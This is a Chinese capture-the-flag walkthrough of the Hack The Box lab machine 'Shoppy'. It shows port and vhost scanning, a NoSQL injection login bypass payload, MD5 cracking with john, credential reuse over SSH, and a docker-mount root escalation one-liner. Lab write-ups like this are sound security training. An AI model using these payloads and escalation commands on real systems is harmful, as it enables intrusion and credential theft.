ip:10.10.11.180
信息收集#
端口开放情况#
利用nmap
进行端口扫描
nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.180
发现的端口:22,80,9093
80 跳转到http://shoppy.htb
修改 hosts 文件,添加解析
域名情况#
既然有域名,就看看虚拟主机扫描能扫出什么东西。
gobuster vhost -u shoppy.htb -w /Users/grayash/pentesting/web-basic/p12-字典收集/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50
找到一个虚拟主机子域
mattermost.shoppy.htb
将mattermost.shoppy.htb
添加到 hosts 文件中解析。
浏览器访问后,界面如下:
利用ffuf对 shoppy.htb 进行敏感目录及文件遍历。
.\ffuf.exe -w .\fuzz1.txt -u http://shoppy.htb/FUZZ
简单测试了下,这个登录框无 POST 链接。
当输入 admin' or '1'='1 程序会无响应,输入 admin' || '1=1 可以绕过后台登录,这个语句是 Nosql 的语句,所以这是一个 [[Nosql 注入]] 登录绕过。
在搜索框中输入同样的 payload:admin' || '1=1
查看 json 文件,内容如下,包括了账号密码,密码是 md5 加密了。
利用 [[john]] 破解 hash
john --wordlist=rockyou.txt --format=Raw-MD5 passwd.txt
remembermethisway
利用爆破出的密码登录 mattermost.shoppy.htb
账号密码为:
josh:remembermethisway
mattermost.shoppy.htb 网站是一个聊天程序,后台建立了很多个频道,在一个频道中找到了账号密码,通过分析应该是 10.10.11.180 服务器的密码,尝试 ssh 登录。
username: jaeger
password: Sh0ppyBest@pp!
找到第一个 flag,user.txt。
通过 sudo -l 可以查看当前用户可以以 root 身份运行的程序。
/home/deploy/password-manager
Welcome to Josh password manager!Please enter your master password: SampleAccess granted! Here is creds !cat /home/deploy/creds.txtAccess denied! This incident will be reported !
SampleAccess granted! 所以 Sample 是主密码,通过这个程序就可以看到主密码。
就找到了 deploy 的密码。
username: deploy
password: Deploying@pp!
同样的方式,ssh 登录 deploy 账号。
权限提升#
通过频道的聊天记录可以知道,服务器是 docker 部署的。
通过https://gtfobins.github.io/gtfobins/docker/ 网站找到 docker 权限提升的 payload,通过 docker 可以获取一个交互式 shell。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
运行后就是 root 权限。
获取 /root 目录下的 flag。
知识点#
- 信息收集能力
- 虚拟主机、md5 密码破解的能力
- 权限提升能力